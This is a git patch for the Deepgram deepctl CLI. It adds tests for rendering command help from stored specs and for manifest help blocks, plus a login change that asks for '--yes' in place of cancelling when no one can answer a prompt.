         assert lazy.returncode == eager.returncode == 0
         assert lazy.stdout == eager.stdout
 
-    def test_command_help_imports_only_that_command(self, tmp_path: Path) -> None:
+    def test_command_help_imports_no_command(self, tmp_path: Path) -> None:
+        """A built-in's help renders from its help spec: no command module."""
         modules = _imported(["models", "--help"], tmp_path)
+        assert not [m for m in modules if m.startswith("deepctl_cmd_")]
+
+    def test_running_a_command_imports_only_that_command(self, tmp_path: Path) -> None:
+        modules = _imported(["models", "--agent-friendly"], tmp_path)
         commands = {m.split(".")[0] for m in modules if m.startswith("deepctl_cmd_")}
+        # The startup checks a run (not help) starts live in these two.
+        commands -= {"deepctl_cmd_update", "deepctl_cmd_skills"}
         assert commands == {"deepctl_cmd_models"}
 
     def test_dash_m_usage_names_dg(self, tmp_path: Path) -> None:
@@ -548,3 +555,306 @@ def missing(ctx: click.Context, name: str) -> click.Command | None:
         monkeypatch.setattr(fresh_cli, "get_command", missing)
         ctx = click.Context(fresh_cli)
         assert fresh_cli._expand_command_word(ctx, ["debug-foo"]) == ["debug-foo"]
+
+
+class TestHelpFromSpec:
+    """`dg <cmd> --help` and `dg <group> <sub> --help` for a built-in leaf
+    render from its help spec, without importing the command."""
+
+    def _resolved(self, group: _cli.LazyGroup, args: list[str]) -> click.Command:
+        ctx = click.Context(group, info_name="dg")
+        _, command, _ = group.resolve_command(ctx, list(args))
+        assert command is not None
+        return command
+
+    @pytest.mark.parametrize(
+        "args", [["listen", "--help"], ["debug", "probe", "--help"]]
+    )
+    def test_spec_command_has_no_callback(
+        self, fresh_cli: _cli.LazyGroup, args: list[str]
+    ) -> None:
+        with patch.object(_cli.LazyGroup, "_load_builtin") as load:
+            command = self._resolved(fresh_cli, args)
+        load.assert_not_called()
+        assert fresh_cli.help_from_spec is not None
+        leaf = command.commands[args[1]] if len(args) == 3 else command  # type: ignore[attr-defined]
+        assert leaf.callback is None
+        assert command.callback is None
+        assert fresh_cli.commands == {}
+
+    @pytest.mark.parametrize(
+        "args",
+        [
+            ["listen"],
+            ["listen", "--help", "x"],
+            ["listen", "-o", "json", "--help"],
+            ["debug", "--help"],
+            ["debug", "toolkit", "--help"],
+            ["debug-audio", "--help"],
+            ["plugin", "install", "--help"],
+            ["nosuch", "--help"],
+            ["--help"],
+        ],
+    )
+    def test_other_argv_takes_the_full_path(
+        self, fresh_cli: _cli.LazyGroup, args: list[str]
+    ) -> None:
+        ctx = click.Context(fresh_cli, info_name="dg")
+        assert fresh_cli._help_command(ctx, args) is None
+
+    def test_eager_load_takes_the_full_path(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setenv(_cli.EAGER_LOAD_ENV_VAR, "1")
+        ctx = click.Context(fresh_cli, info_name="dg")
+        assert fresh_cli._help_command(ctx, ["listen", "--help"]) is None
+
+    @pytest.mark.parametrize(
+        ("allowed", "args"),
+        [
+            ({"listen"}, ["listen", "--help"]),
+            ({"debug probe"}, ["debug", "probe", "--help"]),
+            ({"debug"}, ["debug", "probe", "--help"]),
+        ],
+    )
+    def test_allowed_override_takes_the_full_path(
+        self, fresh_cli: _cli.LazyGroup, allowed: set[str], args: list[str]
+    ) -> None:
+        with patch(
+            "deepctl_core._plugin_trust.allow_override_names",
+            return_value=frozenset(allowed),
+        ):
+            ctx = click.Context(fresh_cli, info_name="dg")
+            assert fresh_cli._help_command(ctx, args) is None
+
+    def test_foreign_subcommand_entry_point_takes_the_full_path(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        from importlib import metadata
+
+        from deepctl import _cache
+
+        real = [ep for dist in metadata.distributions() for ep in dist.entry_points]
+        assert _cli._only_builtin_subcommands("debug") is True
+        for index, (group, name, value) in enumerate(
+            [
+                ("deepctl.subcommands.debug", "extra", "evil.cmd:Extra"),
+                ("deepctl.subcommands.debug", "probe", "evil.cmd:Probe"),
+                ("deepctl.subplugins.debug", "extra", "evil.cmd:Extra"),
+            ]
+        ):
+            # Installing a distribution changes site-packages: a new stamp.
+            monkeypatch.setattr(_cache, "plugin_stamp", lambda i=index: f"new-{i}")
+            extra = metadata.EntryPoint(name=name, value=value, group=group)
+            fake = metadata.EntryPoints([*real, extra])
+            monkeypatch.setattr(metadata, "entry_points", lambda fake=fake: fake)
+            assert _cli._only_builtin_subcommands("debug") is False
+            ctx = click.Context(fresh_cli, info_name="dg")
+            assert fresh_cli._help_command(ctx, ["debug", "probe", "--help"]) is None
+
+    def test_builtin_only_scan_is_cached_per_stamp(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        from importlib import metadata
+
+        from deepctl import _cache
+
+        scans: list[int] = []
+        real_scan = _cli._scan_builtin_only
+
+        def counted(group: str) -> bool:
+            scans.append(1)
+            return real_scan(group)
+
+        monkeypatch.setattr(_cli, "_scan_builtin_only", counted)
+        monkeypatch.setattr(_cache, "plugin_stamp", lambda: "stamp-1")
+        assert _cli._only_builtin_subcommands("debug") is True
+        assert _cli._only_builtin_subcommands("debug") is True
+        assert len(scans) == 1
+        # Another stamp scans again; a "no" is never kept.
+        monkeypatch.setattr(_cache, "plugin_stamp", lambda: "stamp-2")
+        extra = metadata.EntryPoint(
+            name="x", value="evil:X", group="deepctl.subplugins.debug"
+        )
+        real = [ep for dist in metadata.distributions() for ep in dist.entry_points]
+        fake = metadata.EntryPoints([*real, extra])
+        monkeypatch.setattr(metadata, "entry_points", lambda: fake)
+        assert _cli._only_builtin_subcommands("debug") is False
+        assert _cli._only_builtin_subcommands("debug") is False
+        assert len(scans) == 3
+        directory = _cache._discovery_dir(create=False)
+        assert directory is not None
+        cached = json.loads(Path(_cache._subcommands_file(directory)).read_text())
+        assert cached == {"stamp": "stamp-1", "builtin_only": ["debug"]}
+
+    @pytest.mark.parametrize(
+        "content",
+        [
+            "not json",
+            '{"stamp": "s", "builtin_only": "debug"}',
+            '{"stamp": "s", "builtin_only": [1]}',
+            '{"stamp": "other", "builtin_only": ["debug"]}',
+        ],
+    )
+    def test_builtin_only_cache_ignores_a_changed_file(
+        self, fresh_cli: _cli.LazyGroup, content: str
+    ) -> None:
+        from deepctl import _cache
+
+        directory = _cache._discovery_dir(create=True)
+        assert directory is not None
+        path = Path(_cache._subcommands_file(directory))
+        path.write_text(content)
+        path.chmod(0o600)
+        assert _cache.read_builtin_only("s", "debug") is False
+        path.chmod(0o666)
+        path.write_text('{"stamp": "s", "builtin_only": ["debug"]}')
+        assert _cache.read_builtin_only("s", "debug") is False  # others can write
+
+    def test_no_spec_takes_the_full_path(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setattr(_manifest, "help_spec", lambda path: None)
+        ctx = click.Context(fresh_cli, info_name="dg")
+        assert fresh_cli._help_command(ctx, ["listen", "--help"]) is None
+
+    def test_missing_module_still_prints_help(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """A built-in whose package is gone still shows its help; running it
+        reports dependency_missing."""
+        gone = dict(_manifest.commands()["models"], module="deepctl_cmd_gone.command")
+        commands = dict(_manifest.commands(), models=gone)
+        monkeypatch.setattr(_manifest, "commands", lambda: commands)
+        _cli.run(["models", "--help"], prog="dg")
+        out = capsys.readouterr()
+        assert out.out.startswith("Usage: dg models [OPTIONS]")
+        with pytest.raises(SystemExit) as exc:
+            _cli.run(["models"], prog="dg")
+        assert exc.value.code == 1
+        assert "dg models needs deepctl-cmd-models" in capsys.readouterr().err
+
+    def test_root_callback_only_scans_the_config(
+        self, fresh_cli: _cli.LazyGroup
+    ) -> None:
+        seen: dict[str, Any] = {}
+        real = _cli.cli.callback
+        assert real is not None
+
+        def spy(**kwargs: Any) -> None:
+            real(**kwargs)
+            seen["config"] = click.get_current_context().obj["config"]
+
+        with patch.object(_cli.cli, "callback", spy):
+            _invoke(fresh_cli, ["listen", "--help"])
+            assert seen["config"].scan_only is True
+            _invoke(fresh_cli, ["debug", "--help"])
+            assert seen["config"].scan_only is False
+
+    def test_never_writes_the_help_cache(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        import deepctl.main
+        from deepctl import _cache
+
+        monkeypatch.setattr(deepctl.main, "HELP_CACHE", True, raising=False)
+        writes: list[Any] = []
+        monkeypatch.setattr(_cache, "write_help", lambda *a: writes.append(a))
+        with patch("deepctl_core.output.is_ai_agent", return_value=False):
+            _cli.run(["listen", "--help"], prog="dg")
+            _cli.run(["debug", "probe", "--help"], prog="dg")
+            assert writes == []
+            _cli.run(["--help"], prog="dg")  # the one help the cache holds
+        assert len(writes) == 1
+        capsys.readouterr()
+
+    def test_a_later_run_in_the_process_resolves_normally(
+        self, fresh_cli: _cli.LazyGroup
+    ) -> None:
+        self._resolved(fresh_cli, ["listen", "--help"])
+        command = self._resolved(fresh_cli, ["listen", "x.wav"])
+        assert command.callback is not None
+        assert fresh_cli.help_from_spec is None
+
+    def test_imports_no_command_module(self, tmp_path: Path) -> None:
+        modules = _imported(["-q", "debug", "probe", "--help"], tmp_path)
+        assert not [m for m in modules if m.startswith("deepctl_cmd_")]
+        assert "deepctl_core.plugin_manager" not in modules
+        assert "pydantic" not in modules
+
+
+@pytest.mark.skipif(
+    sys.platform == "win32" or os.geteuid() == 0, reason="needs an unreadable HOME"
+)
+class TestUnreadableHomeSubcommandHelp:
+    """`dg debug <sub> --help` with an unreadable HOME prints help:
+    Click calls the group's callback first, which must not need a Config."""
+
+    SUBS = sorted(_manifest.subcommands("debug"))
+
+    @pytest.mark.parametrize("eager", ["", "1"], ids=["lazy", "eager"])
+    @pytest.mark.parametrize("sub", SUBS)
+    def test_exits_zero(self, sub: str, eager: str, tmp_path: Path) -> None:
+        home = tmp_path / "home"
+        home.mkdir(mode=0)
+        try:
+            proc = _dg(
+                ["debug", sub, "--help"],
+                tmp_path,
+                HOME=str(home),
+                DEEPCTL_EAGER_LOAD=eager,
+            )
+        finally:
+            home.chmod(0o700)
+        assert proc.returncode == 0, proc.stderr
+        assert proc.stdout.startswith("Usage: ")
+        assert f" debug {sub} [OPTIONS]" in proc.stdout.splitlines()[0]
+        # Eager mode loads plugins too: one line for their unreadable home.
+        assert proc.stderr == "" or (
+            eager
+            and proc.stderr.startswith("WARN: Couldn't load plugins: ")
+            and proc.stderr.count("\n") == 1
+        )
+
+    @pytest.mark.parametrize("sub", SUBS)
+    def test_full_lazy_path(
+        self,
+        sub: str,
+        fresh_cli: _cli.LazyGroup,
+        tmp_path: Path,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        home = tmp_path / "noperm"
+        home.mkdir(mode=0)
+        monkeypatch.setenv("HOME", str(home))
+        monkeypatch.setattr(_cli.LazyGroup, "_help_command", lambda *a: None)
+        try:
+            _cli.run(["debug", sub, "--help"], prog="dg")
+        finally:
+            home.chmod(0o700)
+        assert capsys.readouterr().out.startswith(f"Usage: dg debug {sub} [OPTIONS]")
+
+    def test_running_the_subcommand_still_fails(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        tmp_path: Path,
+        monkeypatch: pytest.MonkeyPatch,
+    ) -> None:
+        """``-f --help`` makes --help a value: the subcommand runs, and its
+        own Config fails as before."""
+        home = tmp_path / "noperm"
+        home.mkdir(mode=0)
+        monkeypatch.setenv("HOME", str(home))
+        try:
+            with pytest.raises(SystemExit) as exc:
+                _cli.run(["debug", "audio", "-f", "--help"], prog="dg")
+        finally:
+            home.chmod(0o700)
+        assert exc.value.code == 1
diff --git a/tests/unit/test_manifest.py b/tests/unit/test_manifest.py
index 7bd24062..d78e1963 100644
--- a/tests/unit/test_manifest.py
+++ b/tests/unit/test_manifest.py
@@ -78,11 +78,12 @@ def test_check_cli(self) -> None:
         )
         assert proc.returncode == 0, proc.stderr
 
-    def test_builder_is_stdlib_only(self) -> None:
+    def test_builder_is_stdlib_only(self, tmp_path: Path) -> None:
         """It runs in the build_py hook, where only setuptools is installed."""
         code = (
             "import sys; before = set(sys.modules); "
-            "import deepctl._manifest_build as b; b.assemble(); "
+            "import deepctl._manifest_build as b; "
+            f"b.assemble(None, None, {str(tmp_path / '_help')!r}); "
             "new = {m.split('.')[0] for m in set(sys.modules) - before}; "
             "bad = sorted(m for m in new if m not in sys.stdlib_module_names "
             "and m != 'deepctl'); print(bad); sys.exit(1 if bad else 0)"
@@ -258,6 +259,230 @@ def test_cli_check_fails_on_a_duplicate(self, tmp_path: Path) -> None:
         assert "duplicate" in proc.stderr
 
 
+class TestHelpSpecs:
+    """Each fragment's ``help`` block is its command's --help as data."""
+
+    def test_every_help_block_is_fresh(self) -> None:
+        """The drift check CI runs on every PR: each block matches its
+        command as installed, and rebuilds to the same help text."""
+        assert _manifest_build.stale_help(str(FRAGMENTS)) == []
+
+    def test_every_fragment_has_a_help_block(self) -> None:
+        assert all("help" in f for f in load_fragments(str(FRAGMENTS)))
+
+    def test_help_stays_out_of_the_manifest(self) -> None:
+        text = _manifest_build.dumps(assemble(str(FRAGMENTS)))
+        assert '"params"' not in text
+        assert '"help"' not in text
+
+    def _check(self, directory: Path) -> subprocess.CompletedProcess[str]:
+        return subprocess.run(
+            [
+                sys.executable,
+                "-m",
+                "deepctl._manifest_build",
+                "--check",
+                str(directory),
+            ],
+            capture_output=True,
+            text=True,
+            timeout=120,
+        )
+
+    def test_check_fails_on_a_stale_help_block(self, tmp_path: Path) -> None:
+        directory = tmp_path / "d"
+        shutil.copytree(FRAGMENTS, directory)
+        assert self._check(directory).returncode == 0
+        listen = directory / "listen.json"
+        data = json.loads(listen.read_text(encoding="utf-8"))
+        data["help"]["params"][0]["help"] = "An older description"
+        listen.write_text(_manifest_build.dump_fragment(data), encoding="utf-8")
+        proc = self._check(directory)
+        assert proc.returncode == 1
+        assert "help blocks out of date" in proc.stderr
+        assert "listen.json" in proc.stderr
+
+    def test_check_fails_on_a_missing_help_block(self, tmp_path: Path) -> None:
+        directory = tmp_path / "d"
+        shutil.copytree(FRAGMENTS, directory)
+        speak = directory / "speak.json"
+        data = json.loads(speak.read_text(encoding="utf-8"))
+        del data["help"]
+        speak.write_text(_manifest_build.dump_fragment(data), encoding="utf-8")
+        proc = self._check(directory)
+        assert proc.returncode == 1
+        assert "speak.json" in proc.stderr
+
+    def test_write_help_restores_the_block(self, tmp_path: Path) -> None:
+        directory = tmp_path / "d"
+        shutil.copytree(FRAGMENTS, directory)
+        listen = directory / "listen.json"
+        data = json.loads(listen.read_text(encoding="utf-8"))
+        data["help"]["help"] = "stale"
+        listen.write_text(_manifest_build.dump_fragment(data), encoding="utf-8")
+        proc = subprocess.run(
+            [
+                sys.executable,
+                "-m",
+                "deepctl._manifest_build",
+                "--write-help",
+                str(directory),
+            ],
+            capture_output=True,
+            text=True,
+            timeout=120,
+        )
+        assert proc.returncode == 0, proc.stderr
+        assert proc.stderr == "manifest: wrote the help block of listen.json\n"
+        assert listen.read_bytes() == (FRAGMENTS / "listen.json").read_bytes()
+
+    def test_assemble_writes_one_help_file_per_command(self, tmp_path: Path) -> None:
+        help_dir = tmp_path / "_help"
+        help_dir.mkdir()
+        (help_dir / "removed-command.json").write_text("{}")
+        assemble(str(FRAGMENTS), None, str(help_dir))
+        fragments = load_fragments(str(FRAGMENTS))
+        files = sorted(p.name for p in help_dir.iterdir())
+        assert files == sorted(_manifest_build.fragment_file_name(f) for f in fragments)
+        for fragment in fragments:
+            path = help_dir / _manifest_build.fragment_file_name(fragment)
+            assert json.loads(path.read_text(encoding="utf-8")) == fragment["help"]
+
+    @pytest.mark.parametrize(
+        "bad",
+        [
+            [],
+            {"name": "other", "params": []},
+            {"name": "a", "params": "x"},
+            {"name": "a", "params": [1]},
+        ],
+    )
+    def test_bad_help_block_fails(self, tmp_path: Path, bad: Any) -> None:
+        directory = _write(tmp_path / "d", _fragment("a", help=bad))
+        with pytest.raises(ManifestError, match="'help"):
+            assemble(str(directory))
+
+    def test_help_dir_without_a_value(self) -> None:
+        proc = subprocess.run(
+            [sys.executable, "-m", "deepctl._manifest_build", "--help-dir"],
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        assert proc.returncode == 2
+        assert proc.stderr == "manifest: --help-dir needs a directory\n"
+
+
+class TestSpecFormat:
+    """``to_spec`` keeps only what help rendering reads, and refuses what it
+    can't carry rather than writing an incomplete spec."""
+
+    def _round_trip(self, command: Any) -> None:
+        from deepctl import _help_spec
+
+        spec = _help_spec.to_spec(command)
+        assert json.loads(json.dumps(spec)) == spec
+        _help_spec.verify(command, spec)
+
+    def test_types_round_trip(self) -> None:
+        import click
+
+        @click.command()
+        @click.argument("src", type=click.Path(exists=True, dir_okay=False))
+        @click.argument("rest", nargs=-1, required=False)
+        @click.option("--level", type=click.IntRange(0, 9, clamp=True))
+        @click.option("--ratio", type=click.FloatRange(0.0, 1.0, max_open=True))
+        @click.option("--mode", type=click.Choice(["a", "b"], case_sensitive=False))
+        @click.option("--out", type=click.File("w"), metavar="FILE")
+        @click.option("--id", type=click.UUID, required=True)
+        @click.option("--color/--no-color", "-c/-C", help="Colour")
+        @click.option("-v", "--verbose", count=True, hidden=True)
+        @click.option("--tag", multiple=True, help="Repeatable")
+        @click.option("--conv", type=int, help="A converter")
+        def command(**kwargs: Any) -> None:
+            """Do things.
+
+            \b
+            Kept   as is.
+            """
+
+        self._round_trip(command)
+
+    def test_function_type_round_trips(self) -> None:
+        import click
+
+        def parse_pair(value: str) -> tuple[str, str]:
+            return tuple(value.split("=", 1))  # type: ignore[return-value]
+
+        command = click.Command(
+            "pair",
+            params=[
+                click.Option(["--pair"], type=click.types.FuncParamType(parse_pair))
+            ],
+        )
+        self._round_trip(command)
+
+    @pytest.mark.parametrize(
+        "option",
+        [
+            {"show_default": True, "default": "x"},
+            {"envvar": "DG_X"},
+            {"prompt": True},
+            {"show_choices": False, "type": ["a", "b"]},
+        ],
+    )
+    def test_refuses_what_help_would_show_differently(
+        self, option: dict[str, Any]
+    ) -> None:
+        import click
+
+        from deepctl import _help_spec
+
+        kwargs = dict(option)
+        if isinstance(kwargs.get("type"), list):
+            kwargs["type"] = click.Choice(kwargs["type"])
+        command = click.Command("x", params=[click.Option(["--x"], **kwargs)])
+        with pytest.raises(_help_spec.SpecError):
+            _help_spec.to_spec(command)
+
+    def test_refuses_a_custom_command_class(self) -> None:
+        import click
+
+        from deepctl import _help_spec
+
+        class Custom(click.Command):
+            pass
+
+        with pytest.raises(_help_spec.SpecError):
+            _help_spec.to_spec(Custom("x"))
+
+    def test_verify_catches_help_the_spec_does_not_carry(self) -> None:
+        """The spec round-trips, but the real command renders something the
+        spec has no field for: verify() compares the rendered help too."""
+        import click
+
+        from deepctl import _help_spec
+
+        command = click.Command("x", help="Does x.", params=[click.Option(["--y"])])
+        spec = _help_spec.to_spec(command)
+        _help_spec.verify(command, spec)  # the same help: passes
+
+        def format_epilog(ctx: click.Context, formatter: click.HelpFormatter) -> None:
+            formatter.write_paragraph()
+            formatter.write_text("Written by a method the spec can't see.")
+
+        command.format_epilog = format_epilog  # type: ignore[method-assign]
+        assert _help_spec.to_spec(command) == spec  # still round-trips
+        with pytest.raises(_help_spec.SpecError, match="help differs at width 50"):
+            _help_spec.verify(command, spec)
+
+    def test_rebuilt_command_has_no_callback(self) -> None:
+        from deepctl import _help_spec
+
+        spec = load_fragments(str(FRAGMENTS))[0]["help"]
+        assert _help_spec.from_spec(spec).callback is None
+
+
 class TestBuilderCli:
     def test_out_without_a_value(self) -> None:
         proc = subprocess.run(
@@ -348,6 +573,27 @@ def test_built_file_wins_without_fragments(
         assert _manifest.load() == assemble(str(FRAGMENTS))
         assert _manifest.source == "built"
 
+    def test_built_help_files(
+        self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        package = tmp_path / "deepctl"
+        package.mkdir()
+        assemble(
+            str(FRAGMENTS), str(package / "_manifest.json"), str(package / "_help")
+        )
+        monkeypatch.setattr(_manifest, "_HERE", str(package))
+        monkeypatch.setattr(_manifest, "_manifest", None)
+        monkeypatch.setattr(_manifest, "source", None)
+        listen = json.loads((FRAGMENTS / "listen.json").read_text())["help"]
+        probe = json.loads((FRAGMENTS / "debug-probe.json").read_text())["help"]
+        assert _manifest.help_spec("listen") == listen
+        assert _manifest.help_spec("debug probe") == probe
+        assert _manifest.help_spec("nosuch") is None
+        (package / "_help" / "speak.json").write_text("{not json")
+        assert _manifest.help_spec("speak") is None
+        (package / "_help" / "models.json").write_text('{"name": "other"}')
+        assert _manifest.help_spec("models") is None
+
     def test_fragments_win_in_a_source_tree(
         self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
     ) -> None:
@@ -358,6 +604,8 @@ def test_fragments_win_in_a_source_tree(
         monkeypatch.setattr(_manifest, "_manifest", None)
         assert _manifest.load() == assemble(str(FRAGMENTS))
         assert _manifest.source == "fragments"
+        listen = json.loads((FRAGMENTS / "listen.json").read_text())["help"]
+        assert _manifest.help_spec("listen") == listen
 
 
 def test_load_fragments_ignores_other_files(tmp_path: Path) -> None:

From a5052b61325315f9439f36c6e77b239150930e65 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 00:33:25 -0400
Subject: [PATCH 11/88] fix(login): accept real API keys and ask for --yes
 instead of cancelling

dg login no longer checks for an sk-/pk- prefix: Deepgram keys don't
have one, and login_with_api_key already verifies the key with the API.
A 40-hex key used to stop with "Login cancelled" whenever no one could
answer the "Continue anyway?" prompt.

The two login confirmations (DEEPGRAM_API_KEY is set; the profile
already has a saved login) are asked only of a person at a terminal. In
any other run they return confirmation_required, exit 1, with
details.flag "--yes" and a next_step that reruns the command with
--yes, or null when the command line holds a key.
They no longer return "cancelled", which is kept for a person saying no.
-y/--yes answers both; -f/--force-write stays as the same
flag.

BaseCommand gains can_prompt(), the check confirm() already made, so a
command can tell "no one can answer" from "the answer was no".
---
 .../src/deepctl_cmd_login/command.py          | 181 ++++++++++-
 .../src/deepctl_cmd_login/models.py           |  22 ++
 .../tests/unit/test_login_command.py          |   6 +-
 .../tests/unit/test_login_confirm.py          | 307 ++++++++++++++++++
 .../deepctl-core/src/deepctl_core/auth.py     |   6 -
 .../src/deepctl_core/base_command.py          |  17 +-
 .../deepctl-core/src/deepctl_core/messages.py |  28 ++
 src/deepctl/_manifest.d/login.json            |  24 +-
 8 files changed, 564 insertions(+), 27 deletions(-)
 create mode 100644 packages/deepctl-cmd-login/tests/unit/test_login_confirm.py

diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index bf6d937f..820c12ff 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1,7 +1,11 @@
 """Login command for deepctl."""
 
+import os
+import shlex
+import shutil
 import sys
 from typing import Any
+from urllib.parse import urlsplit
 
 import click
 from deepctl_core import (
@@ -45,16 +49,129 @@
 from rich.markup import escape
 from rich.prompt import Prompt
 
-from .models import LoginResult, LogoutResult, WhoamiResult
+from .models import LoginCodedError, LoginResult, LogoutResult, WhoamiResult
 
 console = Console()
 
+_PROG_NAMES = ("dg", "deepgram", "deepctl")
+_YES_FLAG = "--yes"
+# Options whose value is a key.
+_SECRET_OPTIONS = ("--api-key", "-k")
+
 
 def _interactive_terminal() -> bool:
     """A person can answer a prompt: stdin and stderr are both terminals."""
     return sys.stdin.isatty() and sys.stderr.isatty()
 
 
+def _prog() -> str | None:
+    """``{prog}``: the running executable, as a command.
+
+    The bare name when ``which(name)`` is this same file; else the console
+    script's absolute path, quoted. ``None`` when neither applies (``python
+    -m``, an unknown launcher), which makes ``next_step`` null.
+    """
+    argv0 = sys.argv[0] if sys.argv else ""
+    name = os.path.basename(argv0)
+    if os.name == "nt" and name.lower().endswith(".exe"):
+        name = name[:-4]
+    if name not in _PROG_NAMES:
+        return None
+    found = shutil.which(name)
+    running = shutil.which(argv0) or argv0
+    try:
+        if found and os.path.samefile(found, running):
+            return name
+    except OSError:
+        pass
+    if not os.path.isfile(running):
+        return None
+    path = os.path.abspath(running)
+    if os.name == "nt":
+        return None if shlex.quote(path) != path else path
+    return shlex.quote(path)
+
+
+def _secret_in(argv: list[str]) -> bool:
+    """True when ``argv`` holds a key or a URL with userinfo or a query."""
+    after_option = False
+    for token in argv:
+        if after_option:
+            return True
+        if token in _SECRET_OPTIONS:
+            after_option = True
+            continue
+        if token.startswith("--api-key=") or (
+            token.startswith("-k") and not token.startswith("--") and len(token) > 2
+        ):
+            return True
+        if "://" in token:
+            try:
+                parts = urlsplit(token)
+            except ValueError:
+                return True
+            if "@" in parts.netloc or parts.query:
+                return True
+    return False
+
+
+def _rerun_with_yes(prog: str | None) -> str | None:
+    """``{prog} {argv} --yes`` as a runnable command, or None."""
+    argv = sys.argv[1:]
+    if prog is None or _secret_in(argv):
+        return None
+    tokens = [*argv, _YES_FLAG]
+    if any(token.startswith("=") for token in tokens):
+        return None  # zsh's EQUALS option would expand it
+    if os.name == "nt" and any(shlex.quote(token) != token for token in tokens):
+        return None
+    step = f"{prog} {shlex.join(tokens)}"
+    return step if shlex.join(shlex.split(step)) == step else None
+
+
+def _hint_for(
+    human: str,
+    agent: str,
+    next_step: str | None,
+    *,
+    agent_null: str | None = None,
+    automation_null: str | None = None,
+) -> str:
+    """The hint for this run's mode, null-aware."""
+    if is_ai_agent():
+        return agent_null if next_step is None and agent_null else agent
+    if _output_config["agentic"]:
+        if next_step is None:
+            return automation_null or agent_null or agent
+        return agent
+    return human
+
+
+def _coded_error(
+    error: str,
+    code: str,
+    hint: str,
+    next_step: str | None,
+    details: dict[str, Any] | None = None,
+) -> LoginCodedError:
+    """Report a coded error on stderr and return its payload."""
+    print_error(escape(error))
+    print_hint(escape(hint))
+    return LoginCodedError(
+        error=error, code=code, hint=hint, next_step=next_step, details=details
+    )
+
+
+def _confirmation_required(error: str, next_step: str | None, hint: str) -> Any:
+    return _coded_error(
+        error,
+        msg.CODE_CONFIRMATION_REQUIRED,
+        hint,
+        next_step,
+        {"flag": _YES_FLAG},
+    )
+
+
 class LoginCommand(BaseCommand):
     """Login command for authenticating with Deepgram."""
 
@@ -102,9 +219,18 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "required": False,
                 "is_option": True,
             },
+            {
+                "names": ["--yes", "-y"],
+                "help": (
+                    "Save without asking, even if DEEPGRAM_API_KEY is set or the "
+                    "profile already has a saved login (--save-base-url still asks)"
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
             {
                 "names": ["--force-write", "-f"],
-                "help": ("Don't prompt for confirmation when providing credentials"),
+                "help": "Same as --yes",
                 "is_flag": True,
                 "is_option": True,
             },
@@ -136,7 +262,7 @@ def handle(
         """Handle login command."""
         api_key = kwargs.get("api_key")
         project_id = kwargs.get("project_id")
-        force_write = kwargs.get("force_write", False)
+        force_write = bool(kwargs.get("yes") or kwargs.get("force_write"))
         profile = kwargs.get("profile")
         save_base_url = kwargs.get("save_base_url", False)
 
@@ -170,6 +296,23 @@ def handle(
         has_env_key, has_env_project = auth_manager.has_env_credentials()
 
         if has_env_key and not force_write:
+            if not self._can_ask():
+                # Nobody can answer: say which flag does.
+                prog = _prog()
+                next_step = None if api_key else _rerun_with_yes(prog)
+                return _confirmation_required(
+                    msg.E_CONFIRM_ENVKEY.format(prog=prog or _PROG_NAMES[0]),
+                    next_step,
+                    _hint_for(
+                        msg.H_CONFIRM_YES,
+                        msg.A_CONFIRM_ENVKEY,
+                        next_step,
+                        agent_null=msg.A_CONFIRM_ENVKEY_NULL.format(
+                            prog=prog or _PROG_NAMES[0]
+                        ),
+                        automation_null=msg.C_CONFIRM_ENVKEY_NULL,
+                    ),
+                )
             console.print(
                 "[yellow]Environment variable DEEPGRAM_API_KEY is set.[/yellow]"
             )
@@ -205,6 +348,19 @@ def handle(
         )
 
         if has_profile_key and not force_write:
+            if not self._can_ask():
+                next_step = _rerun_with_yes(_prog())
+                return _confirmation_required(
+                    msg.E_CONFIRM_RELOGIN.format(profile=msg.display(current_profile)),
+                    next_step,
+                    _hint_for(
+                        msg.H_CONFIRM_YES,
+                        msg.A_CONFIRM_YES,
+                        next_step,
+                        agent_null=msg.A_CONFIRM_YES_NULL,
+                        automation_null=msg.C_CONFIRM_YES_NULL,
+                    ),
+                )
             console.print(
                 f"[yellow]Already logged in to profile:[/yellow] {current_profile}"
             )
@@ -253,6 +409,10 @@ def handle(
 
         return result
 
+    def _can_ask(self) -> bool:
+        """A person can answer login's confirmations here."""
+        return self.can_prompt() and _interactive_terminal() and not is_ai_agent()
+
     def _confirm_save_base_url(self, config: Config, profile: str) -> Any | None:
         """Ask a person to approve saving the base URL.
 
@@ -490,19 +650,8 @@ def _cli_auth(
         """Handle CLI authentication with API key."""
         console.print("[blue]Configuring CLI with API key...[/blue]")
 
-        # Validate API key format
-        if not api_key.startswith(("sk-", "pk-")):
-            console.print(
-                "[yellow]Warning:[/yellow] API key format doesn't match "
-                "expected pattern"
-            )
-            if not force_write and not self.confirm("Continue anyway?", default=False):
-                return LoginResult(
-                    status="cancelled",
-                    message="Login cancelled by user",
-                    profile=config.profile or "default",
-                    api_key_masked=None,
-                )
+        # The key's format isn't checked: Deepgram keys have no fixed prefix,
+        # and login_with_api_key verifies the key with the API.
 
         # Validate project ID is provided with API key
         if not project_id:
